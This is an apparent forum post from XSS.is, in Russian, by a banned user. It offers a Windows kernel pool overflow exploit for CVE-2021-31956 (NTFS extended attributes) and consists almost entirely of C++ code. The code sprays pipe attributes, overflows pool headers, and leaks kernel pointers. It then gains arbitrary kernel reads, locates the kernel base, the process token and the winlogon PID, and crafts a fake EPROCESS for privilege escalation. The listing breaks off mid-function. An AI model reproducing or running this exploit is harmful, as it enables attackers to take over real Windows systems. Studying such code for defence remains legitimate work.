• XSS.stack #1 – первый литературный журнал от юзеров форума

Techniques Windows Kernel Pool Exploitation CVE-2021-31956

varwar

El Diff
Забанен
Регистрация
12.11.2020
Сообщения
1 383
Решения
5
Реакции
1 537
Пожалуйста, обратите внимание, что пользователь заблокирован
В этой серии статей разжевывается техника эксплуатации переполнения пула на примере CVE-2021-31956.


C++:
#include <windows.h>
#include <stdio.h>
#include <ntstatus.h>
#include <winternl.h>

#pragma comment(lib, "ntdll.lib")
#pragma warning(disable:4996) // allow strncpy...

// https://securelist.com/puzzlemaker-chrome-zero-day-exploit-chain/102771/
// https://hex.pp.ua/extended-attributes.php
// https://github.com/uvbs/obfuscation-crypto-repo/blob/master/Krypton_7.1/Bin/SYS/ntundoc.h
// http://undocumented.ntinternals.net/index.html?page=UserMode%2FUndocumented%20Functions%2FNT%20Objects%2FFile%2FFILE_GET_EA_INFORMATION.html
// https://www.pixiepointsecurity.com/blog/nday-cve-2020-17087.html
//


/**
 * NTOSKRNL offsets hardcoded for ntoskrnl.exe with md5 799bb250b1ca24825186bf91f91756cd
**/

#define NPFS_NPFSDCREATE_OFFSET 0xb540
#define NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET 0x7050

#define NT_ALLOCATEPOOLWITHTAG_OFFSET 0x009b2030
#define NT_POOLQUOTACOOKIE_OFFSET 0x00cfb9d0
#define NT_RTLPHPHEAPGLOBALS_OFFSET 0x00c1dcc0;

#define NT_PSINITIALSYSTEMPROCESS_OFFSET 0x00cfb420

// +0x5a8 ImageFileName : [15] UChar
#define EPROCESS_IMAGEFILENAME_OFFSET 0x5a8
//  +0x448 ActiveProcessLinks : _LIST_ENTRY
#define EPROCESS_ACTIVEPROCESSLINKS_OFFSET 0x448
//    +0x4b8 Token : _EX_FAST_REF
#define EPROCESS_TOKEN_OFFSET 0x4b8
//    +0x568 QuotaBlock : Ptr64 _EPROCESS_QUOTA_BLOCK
#define EPROCESS_QUOTABLOCK_OFFSET 0x568


#define FAKE_EPROCESS_SIZE 0x1000 //0x540
#define FAKE_EPROCESS_OFFSET 0x50


#define STATUS_INVALID_EA_NAME           ((NTSTATUS)0x80000013L)
#define STATUS_EA_LIST_INCONSISTENT      ((NTSTATUS)0x80000014L)
#define STATUS_EA_TOO_LARGE              ((NTSTATUS)0xC0000050L)
#define STATUS_EAS_NOT_SUPPORTED         ((NTSTATUS)0xC000004FL)
#define STATUS_EA_CORRUPT_ERROR          ((NTSTATUS)0xC0000053L)

#define MAX_EA_NAME_LEN 255

#define ROOT_PIPE_ATTRIBUTE_OFFSET      0x140
#define ROOT_PIPE_QUEUE_ENTRY_OFFSET    0x48
#define FILE_OBJECT_OFFSET              0x30

#define ATTRIBUTE_NAME      "Z"
#define ATTRIBUTE_NAME_LEN  sizeof(ATTRIBUTE_NAME)

#define DUMB_ATTRIBUTE_NAME "DUMB1"
#define DUMB_ATTRIBUTE_NAME_LEN  sizeof(DUMB_ATTRIBUTE_NAME)

#define DUMB_ATTRIBUTE_NAME2 "DUMB2"
#define DUMB_ATTRIBUTE_NAME2_LEN  sizeof(DUMB_ATTRIBUTE_NAME2)

#define LEN_OF_PIPE_ATTRIBUTE_STRUCT 0x28
#define LEN_OF_PIPE_QUEUE_ENTRY_STRUCT 0x30

#define POOL_HEADER_SIZE 0x10



typedef struct pipe_queue_entry_sub {
    UINT64 unk;
    UINT64 unk1;
    UINT64 unk2;
    UINT64 data_ptr;
}pipe_queue_entry_sub_t;


typedef enum spray_type {
    SPRAY_PIPE_QUEUE_ENTRY,
    SPRAY_PIPE_ATTRIBUTE
} spray_type_t;

typedef struct pipe_pair {
    HANDLE write;
    HANDLE read;
} pipe_pair_t;

typedef struct pipe_spray {
    size_t nb;
    size_t bufsize;
    char* data_buf;
    spray_type_t type;
    pipe_pair_t pipes[1];
} pipe_spray_t, * ppipe_spray_t;

typedef struct pipe_attribute {
    LIST_ENTRY list;
    char* AttributeName;
    ULONGLONG ValueSize;
    char* AttributeValue;
    char data[0];
} pipe_attribute_t;

typedef
VOID
(NTAPI* PIO_APC_ROUTINE) (
    IN PVOID ApcContext,
    IN PIO_STATUS_BLOCK IoStatusBlock,
    IN ULONG Reserved
    );

typedef NTSTATUS(WINAPI* NtFsControlFile_t)(
    HANDLE FileHandle,
    HANDLE Event,
    PIO_APC_ROUTINE ApcRoutine,
    PVOID ApcContext,
    PIO_STATUS_BLOCK IoStatusBlock,
    ULONG FsControlCode,
    PVOID InputBuffer,
    ULONG InputBufferLength,
    PVOID OutputBuffer,
    ULONG OutputBufferLength
    );

NtFsControlFile_t NtFsControlFile = NULL;


// Function prototypes for the Native API functions
typedef NTSTATUS(NTAPI* NtSetEaFile_t)(
    HANDLE FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID Buffer,
    ULONG Length
    );

typedef NTSTATUS(NTAPI* NtQueryEaFile_t)(
    HANDLE FileHandle,
    PIO_STATUS_BLOCK IoStatusBlock,
    PVOID Buffer,
    ULONG Length,
    BOOLEAN ReturnSingleEntry,
    PVOID EaList,
    ULONG EaListLength,
    PULONG EaIndex,
    BOOLEAN RestartScan
    );

#define EA_NAME  "User.Comment321"
#define EA_NAME2 "User.Comment222"
#define EA_NAME3 "ac"

#define EA_NAME_LENGTH  (sizeof(EA_NAME) - 1)
#define EA_NAME_LENGTH2 (sizeof(EA_NAME2) - 1)
#define EA_NAME_LENGTH3 (sizeof(EA_NAME3) - 1)




typedef struct _FILE_FULL_EA_INFORMATION {
    ULONG NextEntryOffset;
    UCHAR Flags;
    UCHAR EaNameLength;
    USHORT EaValueLength;
    CHAR EaName[1];
} FILE_FULL_EA_INFORMATION, * PFILE_FULL_EA_INFORMATION;

typedef struct _FILE_GET_EA_INFORMATION {
    ULONG                   NextEntryOffset;
    BYTE                    EaNameLength;
    CHAR                    EaName[1];
} FILE_GET_EA_INFORMATION, * PFILE_GET_EA_INFORMATION;


typedef struct xploit_s {
    pipe_attribute_t* fake_pipe_attribute;
    size_t ghost_idx;
    pipe_spray_t* ghosts;
    ULONGLONG leak_root_attribute;
    ULONGLONG leak_root_queue;
    ULONGLONG leak_attribute_name;
    ULONGLONG kernel_base;
    ULONGLONG ExpPoolQuotaCookie;
    ULONGLONG self_eprocess;
    ULONGLONG self_token;
    ULONGLONG winlogon_pid;
    ULONGLONG fake_eprocess;
    ULONGLONG ghost_chunk_offset;
    ULONGLONG ghost_chunk_size;
    ULONGLONG ghost_chunk;
    ppipe_spray_t respray;
    ppipe_spray_t final_write;
    ppipe_spray_t rewrite;
    ppipe_spray_t final_write2;
    ppipe_spray_t lookaside1;
    ppipe_spray_t lookaside2;
} xploit_t;


HANDLE hFile = NULL;

char attribute[0x1000];


int prepare_pipe(size_t bufsize, pipe_pair_t* pipe_pair)
{
    BOOL res = FALSE;

    // Write the data in user space buffer

    // Creating the pipe to kernel space
    res = CreatePipe(
        &pipe_pair->read,
        &pipe_pair->write,
        NULL,
        bufsize);

    if (res == FALSE)
    {
        printf("[!] Failed creating Pipe\r\n");
        return 0;
    }
    return 1;
}

pipe_spray_t* prepare_pipes(size_t nb, size_t size, char* data)
{
    pipe_spray_t* pipe_spray = (pipe_spray_t*)malloc(sizeof(pipe_spray_t) + (nb * sizeof(pipe_pair_t)));
    char* data_buf = (char*)malloc(size + 1);

    if (!data_buf) {
        fprintf(stderr, "[-] Failed to alloc data_buf of size %d in prepare_pipes()\n", size);
        exit(0);
    }

    if (!pipe_spray)
    {
        fprintf(stderr, "[-] Failed to alloc pipe spray !\n");
        exit(0);
    }

    size_t pipe_size;

    memcpy(data_buf, data, size);
    data_buf[size] = 0;

    pipe_spray->data_buf = data_buf;
    pipe_spray->nb = nb;

    pipe_spray->bufsize = size - 0x38;
    /* Should be big enough to avoid write lock */
    pipe_size = 0x10000;

    if (!pipe_spray)
    {
        fprintf(stderr, "[-] Failed to alloc pipe spray !\n");
        exit(0);
    }
    for (size_t i = 0; i < pipe_spray->nb; i++)
    {
        if (!prepare_pipe(pipe_size, &pipe_spray->pipes[i]))
        {
            fprintf(stderr, "[-] Failed to alloc one pipe !\n");
            exit(0);
        }
    }
    return pipe_spray;
}

/**
 * Create a pipe attribute on target_pipe.
 * The allocation will be of size (size + 0x30)
 *
**/
int set_pipe_attribute(pipe_pair_t* target_pipe, char* data, size_t size)
{
    IO_STATUS_BLOCK status;
    char output[0x100];

    memset(output, 0x42, 0xff);

    NtFsControlFile(target_pipe->write,
        NULL,
        NULL,
        NULL,
        &status,
        0x11003C, //0x11002C for arg of set attribute is 2
        data,
        size,
        output,
        sizeof(output)
    );
    return 1;
}

/**
 * Create a pipe attribute on target_pipe.
 * The allocation will be of size (size + 0x30)
 *
**/
int get_pipe_attribute(pipe_pair_t* target_pipe, char* out, size_t size)
{
    IO_STATUS_BLOCK status;
    NTSTATUS st;
    char input[ATTRIBUTE_NAME_LEN] = ATTRIBUTE_NAME;

    st = NtFsControlFile(target_pipe->write,
        NULL,
        NULL,
        NULL,
        &status,
        0x110038,
        input,
        ATTRIBUTE_NAME_LEN,
        out,
        size
    );

    if (!NT_SUCCESS(st)) {
        fprintf(stderr, "[-]NtFsControlFile failed !");
        return 0;
    }

    return 1;
}



int spray_pipes(pipe_spray_t* pipe_spray)
{
    for (size_t i = 0; i < pipe_spray->nb; i++)
    {
        if (!set_pipe_attribute(&pipe_spray->pipes[i], pipe_spray->data_buf, pipe_spray->bufsize))
        {
            fprintf(stderr, "[-] Failed to set pipe attribute at index %d !\n", i);
            return 0;
        }
    }
    return 1;
}


void query_extended_attributes(NtQueryEaFile_t NtQueryEaFile) {
    //    ULONG queryBufferSize = 0x300 - 0xb3 + 1;     // this is the value of the out_buf_len used within the kernel code
    ULONG queryBufferSize = 0x143; // 0x200 - 0xdb + 0x34 + 0x10 + 1 - (6*3) - 0x1b - 6  + 8 + 4;     // this is the value of the out_buf_len used within the kernel code   -> 0x126
    printf("[*] queryBufferSize: %p\n", queryBufferSize);
    PFILE_FULL_EA_INFORMATION queryBuffer = (PFILE_FULL_EA_INFORMATION)malloc(queryBufferSize);
    if (!queryBuffer) {
        printf("Memory allocation error\n");
        return;
    }

    ULONG eaBufferSize = 9 + EA_NAME_LENGTH;

    PFILE_GET_EA_INFORMATION file_get_ea_inf1 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);
    PFILE_GET_EA_INFORMATION file_get_ea_inf2 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);
    PFILE_GET_EA_INFORMATION file_get_ea_inf3 = (PFILE_GET_EA_INFORMATION)malloc(eaBufferSize);


    file_get_ea_inf1->NextEntryOffset = eaBufferSize;
    file_get_ea_inf1->EaNameLength = EA_NAME_LENGTH;

    file_get_ea_inf2->NextEntryOffset = eaBufferSize;
    file_get_ea_inf2->EaNameLength = EA_NAME_LENGTH2;

    file_get_ea_inf3->NextEntryOffset = 0;
    file_get_ea_inf3->EaNameLength = EA_NAME_LENGTH3;




    memcpy(file_get_ea_inf1->EaName, EA_NAME, EA_NAME_LENGTH + 1);
    memcpy(file_get_ea_inf2->EaName, EA_NAME2, EA_NAME_LENGTH2 + 1);
    memcpy(file_get_ea_inf3->EaName, EA_NAME3, EA_NAME_LENGTH3 + 1);





    char* buf = (char*)malloc(eaBufferSize * 3);
    memcpy(buf, file_get_ea_inf1, eaBufferSize);
    memcpy(buf + eaBufferSize, file_get_ea_inf2, eaBufferSize);
    memcpy(buf + (eaBufferSize*2), file_get_ea_inf3, eaBufferSize);




    ULONG eaIndex = 0;

    /* END TESTS */

    IO_STATUS_BLOCK ioStatus;
    NTSTATUS status = NtQueryEaFile(hFile, &ioStatus, queryBuffer, queryBufferSize, FALSE, buf, eaBufferSize*3, &eaIndex, TRUE);
    //NTSTATUS status = NtQueryEaFile(hFile, &ioStatus, queryBuffer, queryBufferSize, FALSE, 0, 0, 0, TRUE);

    if (status != STATUS_SUCCESS) {
        printf("NtQueryEaFile error: %08x\n", status);
        free(queryBuffer);
        return;
    }

    printf("Extended attributes queried successfully\n");
    /*
    PFILE_FULL_EA_INFORMATION eaEntry = queryBuffer;
    do {
        printf("EA Name: %.*s\n", eaEntry->EaNameLength, eaEntry->EaName);
        printf("EA Value: %.*s\n", eaEntry->EaValueLength, eaEntry->EaName + eaEntry->EaNameLength + 1);

        if (eaEntry->NextEntryOffset == 0)
            break;

        eaEntry = (PFILE_FULL_EA_INFORMATION)((PUCHAR)eaEntry + eaEntry->NextEntryOffset);
    } while (TRUE);
    */

    free(queryBuffer);
}


BOOL set_extended_attributes(NtSetEaFile_t NtSetEaFile) {

    // Set extended attribute
    CHAR eaValue1[]  = "This is a co\xffment123AAAABBBBCCCCDDDDEEEEFFFFAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHJJJJKKKKLLLLMMMMNNNNOOOOPPPP\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08";
    CHAR eaValue2[] = "This is a co\xffment123AAAABBBBCCCCDDDDEEEEFFFFGGHHHHIIIIJJAAAABBBBCCCCDDDDEEEEFFFFGGGGHHHHJJJJKKKKLLLLMMMMNNNNOOOOPPPP\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08\x01\x02\x03\x04\x05\x06\x07\x08";
    CHAR eaValue3[] = "TABCD"; // next header is starting to be overwritten after the `T` (eaValue3[1:])


    // the overflow data
    // Set the pool type to the same pooltype with aligned chunk set (| 4)
    *((unsigned char*)eaValue3 + 1) = 0x120 / 0x10;  // previous size - we use 0x120 (from debugging session)

    *((unsigned char*)eaValue3 + 1 + 1) = 0;                     // pool index
    *((unsigned char*)eaValue3 + 1 + 2) = 0;                     // block size
    *((unsigned char*)eaValue3 + 1 + 3) = 0 | 4; // pool type


    ULONG eaValue1Length = sizeof(eaValue1);
    ULONG eaValue2Length = sizeof(eaValue2);
    ULONG eaValue3Length = sizeof(eaValue3) - 1; // `-1` gets rid of the trailing null byte

    ULONG eaBufferSize1 = sizeof(FILE_FULL_EA_INFORMATION) + EA_NAME_LENGTH + eaValue1Length;
    ULONG eaBufferSize2 = sizeof(FILE_FULL_EA_INFORMATION) + EA_NAME_LENGTH + eaValue2Length;
    ULONG eaBufferSize3 = sizeof(FILE_FULL_EA_INFORMATION) + EA_NAME_LENGTH + eaValue3Length;
    PFILE_FULL_EA_INFORMATION eaBuffer1 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize1);
    PFILE_FULL_EA_INFORMATION eaBuffer2 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize2);
    PFILE_FULL_EA_INFORMATION eaBuffer3 = (PFILE_FULL_EA_INFORMATION)malloc(eaBufferSize3);



    if (!eaBuffer1 || !eaBuffer2|| !eaBuffer3) {
        printf("Memory allocation error\n");
        CloseHandle(hFile);
        return 0;
    }

    eaBuffer1->NextEntryOffset = eaBufferSize1;
    eaBuffer1->Flags = 0x00;
    eaBuffer1->EaNameLength = EA_NAME_LENGTH;
    eaBuffer1->EaValueLength = eaValue1Length;
    memcpy(eaBuffer1->EaName, EA_NAME, EA_NAME_LENGTH + 1);
    memcpy(eaBuffer1->EaName + EA_NAME_LENGTH + 1, eaValue1, eaValue1Length);

    IO_STATUS_BLOCK ioStatus;
    //NTSTATUS status = NtSetEaFile(hFile, &ioStatus, eaBuffer, eaBufferSize);

    printf("[*] eaBuffer1->NextEntryOffset:  %p\n", eaBuffer1->NextEntryOffset);
    printf("[*] eaBuffer1->EaNameLength   :  %p\n", eaBuffer1->EaNameLength);
    printf("[*] eaBuffer1->EaValueLength  :  %p\n", eaBuffer1->EaValueLength);

   
    // second EA
    eaBuffer2->NextEntryOffset = eaBufferSize2;
    eaBuffer2->Flags = 0x00;
    eaBuffer2->EaNameLength = EA_NAME_LENGTH2;
    eaBuffer2->EaValueLength = eaValue2Length;
    memcpy(eaBuffer2->EaName, EA_NAME2, EA_NAME_LENGTH2 + 1);
    memcpy(eaBuffer2->EaName + EA_NAME_LENGTH2 + 1, eaValue2, eaValue2Length);


    printf("[*] eaBuffer2->NextEntryOffset:  %p\n", eaBuffer2->NextEntryOffset);
    printf("[*] eaBuffer2->EaNameLength   :  %p\n", eaBuffer2->EaNameLength);
    printf("[*] eaBuffer2->EaValueLength  :  %p\n", eaBuffer2->EaValueLength);


    // third EA
    eaBuffer3->NextEntryOffset = 0;
    eaBuffer3->Flags = 0x00;
    eaBuffer3->EaNameLength = EA_NAME_LENGTH3;
    eaBuffer3->EaValueLength = eaValue3Length;
    memcpy(eaBuffer3->EaName, EA_NAME3, EA_NAME_LENGTH3 + 1);
    memcpy(eaBuffer3->EaName + EA_NAME_LENGTH3 + 1, eaValue3, eaValue3Length);

    printf("[*] eaBuffer3->NextEntryOffset:  %p\n", eaBuffer3->NextEntryOffset);
    printf("[*] eaBuffer3->EaNameLength   :  %p\n", eaBuffer3->EaNameLength);
    printf("[*] eaBuffer3->EaValueLength  :  %p\n", eaBuffer3->EaValueLength);


    char* buf = (char*)malloc(eaBufferSize1 + eaBufferSize2 + eaBufferSize3);
    memcpy(buf, eaBuffer1, eaBufferSize1);
    memcpy(buf + eaBufferSize1, eaBuffer2, eaBufferSize2);
    memcpy(buf + (eaBufferSize1 + eaBufferSize2), eaBuffer3, eaBufferSize3);



    NTSTATUS status = NtSetEaFile(hFile, &ioStatus, buf, eaBufferSize1+eaBufferSize2+eaBufferSize3);

    if (status != STATUS_SUCCESS) {
        printf("NtSetEaFile error: %08x\n", status);
        free(buf);
        free(eaBuffer1);
        free(eaBuffer2);
        CloseHandle(hFile);
        return 0;
    }
   
    printf("Extended attribute set successfully\n");
    return 1;
}



int read_pipes(pipe_spray_t* pipe_spray, char* leak)
{
    char buf[0x10000] = { 0 };


    for (size_t i = 0; i < pipe_spray->nb; i++)
    {

            if (!get_pipe_attribute(&pipe_spray->pipes[i], buf, pipe_spray->bufsize))
            {
                fprintf(stderr, "[-] Failed to get pipe attribute !");
                exit(0);
            }
            if (memcmp(pipe_spray->data_buf + ATTRIBUTE_NAME_LEN, buf, pipe_spray->bufsize - (ATTRIBUTE_NAME_LEN)))
            {
                //hexdump(pipe_spray->data_buf, pipe_spray->bufsize);
                printf("[+] get_pipe_attribute -> One of the buf returned a different input !\n");
                //hexdump(buf, pipe_spray->bufsize);
                memcpy(leak, buf, pipe_spray->bufsize - (ATTRIBUTE_NAME_LEN));
                return i;
            }
     

    }
    return -1;
}

void get_overflown_pipe_attr(ppipe_spray_t pipe_spray) {

    char* buf = (char*)malloc(0x100);

        for (size_t i = 0; i < pipe_spray->nb; i++)
        {
            if (i == 0x266) continue; // ignore our reallocated object
            memset(buf, 0x00, 0x100);
            if (!get_pipe_attribute(&pipe_spray->pipes[i], buf, 0x100))
            {
                fprintf(stderr, "[-] Failed to get pipe attribute at index %d !\n", i);
                continue;
            }
            printf("pipe[%d] => %s\n", i, buf);
        }

}


int close_pipe(pipe_pair_t* pipe_pair)
{
    if (!CloseHandle(pipe_pair->write))
    {
        //fprintf(stderr, "[-] Failed to close write pipe !\n");
        return 0;
    }
    if (!CloseHandle(pipe_pair->read))
    {
        fprintf(stderr, "[-] Failed to close read pipe !\n");
        return 0;
    }
    return 1;
}


void free_pipes(pipe_spray_t* pipe_spray)
{
    for (size_t i = 0; i < pipe_spray->nb; i++)
    {
        close_pipe(&pipe_spray->pipes[i]);
    }
    free(pipe_spray->data_buf);
    free(pipe_spray);
}

void free_third_pipes(pipe_spray_t* pipe_spray, int start)
{
    for (size_t i = start; i < pipe_spray->nb; i += 3)
    {
        close_pipe(&pipe_spray->pipes[i]);
    }
}

int pp_get_leak(xploit_t *xploit, pipe_spray_t* respray)
{
    char leak[0x1000] = { 0 };

    size_t targeted_vuln_size = 0x143;
    size_t backward_step = targeted_vuln_size - ((LEN_OF_PIPE_ATTRIBUTE_STRUCT - ATTRIBUTE_NAME_LEN + 0xf) & (~0xF));

    size_t leak_offset = targeted_vuln_size // xploit->targeted_vuln_size
         - backward_step
         - LEN_OF_PIPE_ATTRIBUTE_STRUCT - ATTRIBUTE_NAME_LEN;

    //LOG_DEBUG("Leak offset is 0x%X", xploit->leak_offset);

    // leak the data contained in ghost chunk
    int leaking_pipe_idx = read_pipes(respray, leak);
    if (leaking_pipe_idx == -1)
    {
        fprintf(stderr, "[-] Reading pipes found no leak :(\n");
        return -1;
    }
    printf("[+] Pipe %d of respray leaked data !\n", leaking_pipe_idx);

    // leak pipe attribute structure !
    xploit->leak_root_attribute = *(ULONGLONG*)((char*)leak + leak_offset + 0x10); // list.next
    xploit->leak_attribute_name = *(ULONGLONG*)((char*)leak + leak_offset + 0x20); // AttributeName

    // 0x10 is POOL_HEADER
    xploit->ghost_chunk = xploit->leak_attribute_name - LEN_OF_PIPE_ATTRIBUTE_STRUCT - POOL_HEADER_SIZE;

    printf("[+] leak_root_attribute ptr is 0x%llX\n", xploit->leak_root_attribute);
    printf("[+] ghost_chunk         ptr is 0x%llX\n", xploit->ghost_chunk);

    return leaking_pipe_idx;
}


void pp_setup_ghost_overwrite(pipe_attribute_t* fake_pipe_attribute, char* ghost_overwrite_buf)
{
    pipe_attribute_t* overwritten_pipe_attribute;

    // The pipe attribute overwritten in the ghost chunk
    memcpy(ghost_overwrite_buf, ATTRIBUTE_NAME, ATTRIBUTE_NAME_LEN);

   
 
    overwritten_pipe_attribute = (pipe_attribute_t*)((char*)ghost_overwrite_buf + 0x8 + POOL_HEADER_SIZE);  // 0x8 -> ghost_chunk_offset

    // make point the next attribute in userland
    overwritten_pipe_attribute->list.Flink = (LIST_ENTRY*)fake_pipe_attribute;
    //overwritten_pipe_attribute->list.Flink = (LIST_ENTRY*)0x4141414142424242;

    printf("[+] fake_pipe_attribute: %p\n", fake_pipe_attribute);

    // dummy value, must fix this before exiting to avoid crash
    overwritten_pipe_attribute->list.Blink = (LIST_ENTRY*)0xDEADBEEFCAFEB00B;

    // Set the attrbiute name to a dumb value se we nerver find it when we try to read and attribute from here
    // So it will always go the next attribute which points in userland !
    overwritten_pipe_attribute->AttributeName = (char*)DUMB_ATTRIBUTE_NAME;
    overwritten_pipe_attribute->ValueSize = 0x1;
    overwritten_pipe_attribute->AttributeValue = (char*)DUMB_ATTRIBUTE_NAME;

}



void pp_exploit_arbitrary_read(xploit_t* xploit, uintptr_t where, char* out, size_t size)
{

    char arb_read[0x1000];
    size_t ask_size;
    memset(arb_read, 0x48, sizeof(arb_read));

    ask_size = size;

    // If size is <= 8, it doesn't use the pointer
    if (ask_size <= 8)
        ask_size = 9;

    // I need a temporary buffer and don't want to code a loop, so max it to 0x1000
    if (ask_size >= 0x1000)
        ask_size = 0xFFF;

    xploit->fake_pipe_attribute->ValueSize = ask_size;
    xploit->fake_pipe_attribute->AttributeValue = (char*)where;


    // use a temporary buffer to avoid overflowing in our program
    if (!get_pipe_attribute(&xploit->ghosts->pipes[xploit->ghost_idx], arb_read, 0x1000))
    {
        fprintf(stderr, "[-] Failed to set pipe attribute !");
        exit(0);
    }


    memcpy(out, arb_read, size);
    //printf("[*] Seemingly successful read data...\n");
}

uintptr_t pp_find_file_object(xploit_t* xploit)
{
    uintptr_t file_object_ptr;

    // FsContext2 structure of NPFS. Find the pointer on the file object in the structure
    file_object_ptr = xploit->leak_root_attribute - ROOT_PIPE_ATTRIBUTE_OFFSET + FILE_OBJECT_OFFSET;
    xploit->leak_root_queue = xploit->leak_root_attribute - ROOT_PIPE_ATTRIBUTE_OFFSET + ROOT_PIPE_QUEUE_ENTRY_OFFSET;

    printf("[+] leak_root_queue is :    0x%llX\n", xploit->leak_root_queue);
    return file_object_ptr;

}

BOOL find_kernel_base(xploit_t* xploit)
{
    uintptr_t file_object_ptr = 0;
    uintptr_t file_object;
    uintptr_t device_object;
    uintptr_t driver_object;
    uintptr_t NpFsdCreate;


    file_object_ptr = pp_find_file_object(xploit);
    printf("[+] File object ptr is : %p\n", file_object_ptr);

    // Get the leak of ntoskrnl and npfs
    pp_exploit_arbitrary_read(xploit, file_object_ptr, (char*)&file_object, 0x8);
    printf("[+] File object is : 0x%llx\n", file_object);

    pp_exploit_arbitrary_read(xploit, file_object + 8, (char*)&device_object, 0x8);
    printf("[+] Device object is : 0x%llx\n", device_object);

    pp_exploit_arbitrary_read(xploit, device_object + 8, (char*)&driver_object, 0x8);
    printf("[+] Driver object is : 0x%llx\n", driver_object);

    pp_exploit_arbitrary_read(xploit, driver_object + 0x70, (char*)&NpFsdCreate, 0x8);
    printf("[+] Major function is : 0x%llx\n", NpFsdCreate);

    uintptr_t ExAllocatePoolWithTag_ptr = NpFsdCreate - NPFS_NPFSDCREATE_OFFSET + NPFS_GOT_ALLOCATEPOOLWITHTAG_OFFSET;
    uintptr_t ExAllocatePoolWithTag;

    pp_exploit_arbitrary_read(xploit, ExAllocatePoolWithTag_ptr, (char*)&ExAllocatePoolWithTag, 0x8);
    printf("[+] ExAllocatePoolWithTag is : 0x%llx\n", ExAllocatePoolWithTag);

    xploit->kernel_base = ExAllocatePoolWithTag - NT_ALLOCATEPOOLWITHTAG_OFFSET;

    if ((xploit->kernel_base & 0xFFFF000000000000) != 0xFFFF000000000000) {
        printf("[-] Failed to retrieve kernel base....\n");
        return 0;
    }

    printf("[+] Kernel base: %p\n", xploit->kernel_base);
    return 1;
   
}


/**
 * This function walks the process list and finds the EPROCESS of the current process.
 * It also searches for the address of the winlogon process' PID, because we can't do that in
 * userland when we are in low privilege.
**/
int find_self_eprocess(xploit_t* xploit)
{
    uintptr_t PsInitialSystemProcess;
    char winlogon[] = "winlogon.exe";
    size_t winlogon_size = strlen(winlogon);

    char tmp[0x100];
    memset(&tmp, 0x00, 0x100);

    pp_exploit_arbitrary_read(xploit, xploit->kernel_base + NT_PSINITIALSYSTEMPROCESS_OFFSET, (char*)&PsInitialSystemProcess, 0x8);
    printf("[+] PsInitialSystemProcess is : 0x%llx\n", PsInitialSystemProcess);


    DWORD self_pid = GetCurrentProcessId();
    printf("[*] Looking for process with pid %d...\n", self_pid);
    uintptr_t current_process_list = PsInitialSystemProcess + EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
    uintptr_t current_pid = 0;


    do
    {
        pp_exploit_arbitrary_read(xploit, current_process_list, (char*)&current_process_list, 0x8);
        // printf("current_process_list is : 0x%llX\n", current_process_list);
        pp_exploit_arbitrary_read(xploit, current_process_list - 8, (char*)&current_pid, 0x8);

        // printf("current_pid is : %d\n", current_pid);
        if (current_pid == self_pid)
        {
            xploit->self_eprocess = current_process_list - EPROCESS_ACTIVEPROCESSLINKS_OFFSET;
            printf("[+] Found self_eprocess at 0x%llX !\n", xploit->self_eprocess);
        }

        // read process name, try to find the winlogon processus too
        pp_exploit_arbitrary_read(xploit, current_process_list - EPROCESS_ACTIVEPROCESSLINKS_OFFSET + EPROCESS_IMAGEFILENAME_OFFSET, tmp, winlogon_size);
        if (strcmp(winlogon, tmp) == 0)
        {
            xploit->winlogon_pid = current_pid;
            printf("[+] Found winlogon pid at %d !\n", xploit->winlogon_pid);
        }

        if (xploit->self_eprocess && xploit->winlogon_pid)
            return 1;
    } while (current_process_list != PsInitialSystemProcess + EPROCESS_ACTIVEPROCESSLINKS_OFFSET);
    fprintf(stderr, "[-] Failed to find self eprocess !\n");
    return 0;
}


/*
    Here we craft the fake EPROCESS structure
    From https://github.com/cbayet/Exploit-CVE-2017-6008/blob/master/Win10/src/CVE-2017-6008_Win10_Exploit.cpp
*/
void initFakeEprocess(PVOID addr, UINT64 addr_to_decrement)
{
    printf("[*] Decrementing : %p\n", addr_to_decrement);

    for (int i = 0x00; i < FAKE_EPROCESS_SIZE; i += 8) {
        memset((PVOID)((char*)addr + i), 0x41 + (i / 8), 8);
    }
    //memset((PVOID)addr, 0x48, FAKE_EPROCESS_SIZE);


    addr = (PVOID)((DWORD64)addr + FAKE_EPROCESS_OFFSET);
    DWORD64 save = (DWORD64)addr;
    DWORD64 temp = save + 4;
    DWORD64 QuotaValues = 0xAAAAAAAAAAAAAcfc;
    DWORD64 QuotaValues2 = 0xAAAAAAAAAAA255dc;

    memset((char*)addr - 0x40, 0xA, 0x40);
    memset((char*)addr - 0x18, 0xB, 0x1);
    memset(addr, 0x3, 1);



    /*
    // temp = (DWORD64)((char *)pTokenObject + 0x48);
    temp = (DWORD64)((char*)addr_to_decrement);
    memcpy((char*)addr + 0x410, &temp, sizeof(DWORD64));
    for (int i = 0xd8; i < 0xf0; i++)
    {
        // 0xd4 is likely the offset into EPROCESS.QuotaBlock which changed
        // 0: kd> dt nt!_EPROCESS QuotaBlock
        // +0x568 QuotaBlock : Ptr64 _EPROCESS_QUOTA_BLOCK
        memset((char*)addr + i, 2 + (i - 0xd4), 1);
    }*/

    /// TEST
    *(UINT64*)((char*)addr  + 0x568) = addr_to_decrement; // 0x568 _EPROCESS.QuotaBlock Offset
    //*(UINT64*)((char*)addr + FAKE_EPROCESS_SIZE + 0x568) = token_addr + 0x48;//0x48 Enabled
    /// END TEST

    // precise values are need here, but we can't put any 0x0000 in the structure or it won't be copied
    // in kernel memory
    memcpy((char*)addr + 0xc0, &QuotaValues, 4);
    memcpy((char*)addr + 0xc4, &QuotaValues2, 4);
    memcpy((char*)addr + 0xc8, &QuotaValues, 4);
    memcpy((char*)addr + 0xcc, &QuotaValues2, 4);
}

int write_pipe(pipe_pair_t* pipe_pair, char* data, size_t bufsize)
{
    BOOL res = FALSE;
    DWORD resultLength = 0;

    res = WriteFile(
        pipe_pair->write,
        data,
        bufsize,
        &resultLength,
        NULL);

    if (res == FALSE)
    {
        printf("[-] Failed writing to pipe with error %d !\n", GetLastError());
        return 0;
    }
    return 1;
}

void pp_alloc_fake_eprocess(xploit_t* xploit, char* fake_eprocess_buf)
{
